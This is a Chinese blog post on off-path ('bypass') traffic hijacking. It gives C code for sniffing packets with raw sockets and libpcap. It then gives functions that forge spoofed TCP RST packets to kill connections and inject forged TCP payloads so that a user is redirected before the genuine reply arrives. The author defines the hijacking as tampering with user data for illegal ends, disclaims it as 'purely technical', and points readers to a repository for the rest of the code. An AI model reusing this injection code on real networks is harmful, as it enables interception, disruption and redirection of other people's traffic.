旁路劫持是个备受争议和非议的话题,所以首先声明这是一篇纯技术文章,与伦理道德人格修养及体验感受无关,天气热爱上火多喝点绿豆汤,清热解毒,消暑除烦,止渴健胃,利水消肿,加点薏仁米莲子京糕条一起熬煮味道更佳。
数据采集:采集有二种方式原始套接字和网络设备抓包,前者效率更高一些但实现相对比较复杂,后者有三方库封装的很好简单易用,C有pcap库wireshark用的就是这个,JAVA有jpcap其实也是一回事,几行代码都能完成从初始化到采集的全过程。如果是电信级应用首选前者企业级应用后者足够,毕竟前者需要自己维护缓冲区和控制复制机制,减少内核区到用户区的数据交换显然可以做的更加灵活,后者都帮开发者处理好了提交上层直接使用就可以了。
原始套接字数据采集:
CGtRaw CRaw;int iLength = 0;USHORT usDst = 0;USHORT usPort = 80;struct ip* pstIP = NULL;struct tcphdr* pstTcp = NULL;struct udphdr* pstUdp = NULL;struct ether_header* pstEth = NULL;UCHAR uszRecv[GT_KBYTES2] = { 0 };if (GT_SUCCESS == CRaw.GtRawInitRecv(GT_PF_PACKET, GT_SOCK_RAW, htons(ETH_P_ALL))) { while ((iLength = rCRaw.GtNetRecv(uszRecv, GT_KBYTES2)) > 0) { pstEth = (struct ether_header*)uszRecv; pstIP = (struct ip*)(uszRecv + sizeof(struct ether_header)); switch (pstIP->ip_p) { case GT_IPPROTO_TCP: pstTcp = (struct tcphdr*)(uszRecv + sizeof(struct ether_header) + pstIP->ip_hl * 4); usDst = ntohs(pstTcp->th_dport); break; case GT_IPPROTO_UDP: pstUdp = (struct udphdr*)(uszRecv + sizeof(struct ether_header) + pstIP->ip_hl * 4); usDst = ntohs(pstUdp->uh_dport); break; default: break; } if (usDst == usPort) { GT_PRINT("SrcMac: %02x:%02x:%02x:%02x:%02x:%02x\t", pstEth->ether_shost[0], pstEth->ether_shost[1], pstEth->ether_shost[2], pstEth->ether_shost[3], pstEth->ether_shost[4], pstEth->ether_shost[5]); GT_PRINT("DstMac: %02x:%02x:%02x:%02x:%02x:%02x\n", pstEth->ether_dhost[0], pstEth->ether_dhost[1], pstEth->ether_dhost[2], pstEth->ether_dhost[3], pstEth->ether_dhost[4], pstEth->ether_dhost[5]); GT_PRINT("SrcAddr: %s\t", (char*)inet_ntoa(pstIP->ip_src)); GT_PRINT("DstAddr: %s\n", (char*)inet_ntoa(pstIP->ip_dst)); if (NULL != pstTcp) { GT_PRINT("Protocol: TCP\n"); GT_PRINT("SrcPort: %d\t", ntohs(pstTcp->th_sport)); GT_PRINT("DstPort: %d\n", ntohs(pstTcp->th_dport)); GT_PRINT("Recv: %s\n\n", uszRecv + sizeof(struct ether_header) + pstIP->ip_hl * 4 + pstTcp->th_off * 4); pstTcp = NULL; } else if (NULL != pstUdp) { GT_PRINT("Protocol: UDP\n"); GT_PRINT("SrcPort: %d\t", ntohs(pstUdp->uh_sport)); GT_PRINT("DstPort: %d\n", ntohs(pstUdp->uh_dport)); GT_PRINT("Recv: %s\n\n", uszRecv + sizeof(struct ether_header) + pstIP->ip_hl * 4 + sizeof(struct udphdr)); pstUdp = NULL; } else { } } memset(uszRecv, '\0', GT_KBYTES2); usDst = 0; } CRaw.GtNetClose();}
网络设备抓包数据采集:
void GtPcapCore(UCHAR* puszUser, const struct pcap_pkthdr* pstHead, const UCHAR* puszPacket){ UINT uiLength = 0; struct ip* pstIP = NULL; struct tcphdr* pstTcp = NULL; struct udphdr* pstUdp = NULL; struct ether_header* pstEther = NULL; /* ether */ pstEther = (struct ether_header*)puszPacket; /* ip */ uiLength += sizeof(struct ether_header); pstIP = (struct ip*)(puszPacket + uiLength); GT_PRINT("SrcAddr: %s\t", (char*)inet_ntoa(pstIP->ip_src)); GT_PRINT("DstAddr: %s\n", (char*)inet_ntoa(pstIP->ip_dst)); /* tcp|udp */ uiLength += pstIP->ip_hl * 4; switch (pstIP->ip_p) { case IPPROTO_TCP: GT_PRINT("Protocol: TCP\n"); pstTcp = (struct tcphdr*)(puszPacket + uiLength); GT_PRINT("SrcPort: %d\t", ntohs(pstTcp->th_sport)); GT_PRINT("DstPort: %d\n", ntohs(pstTcp->th_dport)); uiLength += pstTcp->th_off * 4; break; case IPPROTO_UDP: GT_PRINT("Protocol: UDP\n"); pstUdp = (struct udphdr*)(puszPacket + uiLength); GT_PRINT("SrcPort: %d\t", ntohs(pstUdp->uh_sport)); GT_PRINT("DstPort: %d\n", ntohs(pstUdp->uh_dport)); uiLength += sizeof(struct udphdr); break; default: break; } return;}int main(int argc, char* argv[]){ bpf_u_int32 ulNet = 0; bpf_u_int32 ulMask = 0; pcap_t *pstPcap = NULL; struct bpf_program stFilter; char szError[GT_PACKET] = { 0 }; char szFilter[GT_PACKET] = { 0 }; char szDevice[GT_PACKET] = { 0 }; UCHAR uszPacket[GT_PACKET] = { 0 }; pstPcap = pcap_open_live(szDevice, 65535, 1, 5, szError); if (NULL == pstPcap) { GT_ERROR("%s\n", strerror(errno)); return GT_FAILURE; } if (pcap_lookupnet(szDevice, &ulNet, &ulMask, szError) < 0) { GT_ERROR("%s\n", pcap_geterr(pstPcap)); return GT_FAILURE; } if (pcap_compile(pstPcap, &stFilter, szFilter, 1, ulMask) < 0) { GT_ERROR("%s\n", pcap_geterr(pstPcap)); return GT_FAILURE; } if (pcap_setfilter(pstPcap, &stFilter) < 0) { GT_ERROR("%s\n", pcap_geterr(pstPcap)); return GT_FAILURE; } if (pcap_loop(pstPcap, -1, GtPcapCore, uszPacket) < 0) { GT_ERROR("%s\n", pcap_geterr(pstPcap)); return GT_FAILURE; } pcap_freecode(&stFilter); pcap_close(pstPcap); return GT_SUCCESS;}
旁路劫持:劫持是指篡改用户源数据并重定向用户目的地址以达到非法目的。作为源目的双方,一方需要得到服务,另一方提供服务,原本二者都不关心对端的来源,加之大多数采用开放性协议的服务又无需身份验证,这就导致旁路设备可以轻易构造出对端信息,代替一端向另外一端做出应答,前提条件只要伪造报文比真实报文先一步到达对端,后到的报文就会被设备当做冗余数据直接丢弃不做响应,所以说劫持能否成功关键看速度。
void CGtRaw::GtRawTcpReset(UCHAR* puszHead, UCHAR* puszDst, int* piDst){ ULONG ulSeq = 0; ULONG ulAck = 0; USHORT usIP = 0; USHORT usSrc = 0; USHORT usDst = 0; USHORT usIPTCP = 0; struct in_addr stSrc; struct in_addr stDst; struct tcphdr* pstTcp = NULL; struct tcphdr* pstReset = NULL; struct ip* pstIP = (struct ip*)puszHead; UCHAR uszReset[sizeof(struct ip) + sizeof(struct tcphdr)] = { 0 }; usIP = ntohs(pstIP->ip_len); memcpy(&stSrc, &pstIP->ip_src, sizeof(struct in_addr)); memcpy(&stDst, &pstIP->ip_dst, sizeof(struct in_addr)); pstTcp = (struct tcphdr*)(puszHead + pstIP->ip_hl * 4); usIPTCP = pstIP->ip_hl * 4 + pstTcp->th_off * 4; usSrc = ntohs(pstTcp->th_sport); usDst = ntohs(pstTcp->th_dport); ulSeq = ntohl(pstTcp->th_seq); ulAck = ntohl(pstTcp->th_ack); *piDst = sizeof(uszReset); pstReset = (struct tcphdr*)(uszReset + sizeof(struct ip)); GtRawTcpHead((UCHAR*)pstReset, usSrc, usDst, ulSeq + usIP - usIPTCP, ulSeq + usIP - usIPTCP); pstReset->th_win = 0; pstReset->th_flags = TH_RST; pstReset->th_sum = GtRawPortCheck(GT_IPPROTO_TCP, (UCHAR*)pstReset, sizeof(uszReset) - sizeof(struct ip), stSrc, stDst); GtRawIPHead(uszReset, GT_IPPROTO_TCP, stSrc, stDst, *piDst); memcpy(puszDst, uszReset, *piDst); return;}void CGtRaw::GtRawTcpRedir(UCHAR* puszHead, char* pszSrc, int iSrc, UCHAR* puszDst, int* piDst){ ULONG ulSeq = 0; ULONG ulAck = 0; USHORT usIP = 0; USHORT usSrc = 0; USHORT usDst = 0; USHORT usIPTCP = 0; struct in_addr stSrc; struct in_addr stDst; struct tcphdr* pstTcp = NULL; struct tcphdr* pstRedir = NULL; struct ip* pstIP = (struct ip*)puszHead; UCHAR uszRedir[sizeof(struct ip) + sizeof(struct tcphdr) + GT_KBYTES2] = { 0 }; usIP = ntohs(pstIP->ip_len); memcpy(&stSrc, &pstIP->ip_src, sizeof(struct in_addr)); memcpy(&stDst, &pstIP->ip_dst, sizeof(struct in_addr)); pstTcp = (struct tcphdr*)(puszHead + pstIP->ip_hl * 4); usIPTCP = pstIP->ip_hl * 4 + pstTcp->th_off * 4; usSrc = ntohs(pstTcp->th_sport); usDst = ntohs(pstTcp->th_dport); ulSeq = ntohl(pstTcp->th_seq); ulAck = ntohl(pstTcp->th_ack); *piDst = usIPTCP + iSrc; memcpy(uszRedir + usIPTCP, pszSrc, iSrc); pstRedir = (struct tcphdr*)(uszRedir + sizeof(struct ip)); GtRawTcpHead((UCHAR*)pstRedir, usDst, usSrc, ulAck, ulSeq + usIP - usIPTCP); pstRedir->th_off = pstTcp->th_off; pstRedir->th_sum = GtRawPortCheck(GT_IPPROTO_TCP, (UCHAR*)pstRedir, *piDst - sizeof(struct ip), stDst, stSrc); GtRawIPHead(uszRedir, GT_IPPROTO_TCP, stDst, stSrc, *piDst); memcpy(puszDst, uszRedir, *piDst); return;}
OK,关于这个话题就说这么多吧,已经说不少了,文章中涉及的代码片段自己去“厉力文武”的码云空间(http://git.oschina.net/gonglibin)扒吧,都是自己人别客气~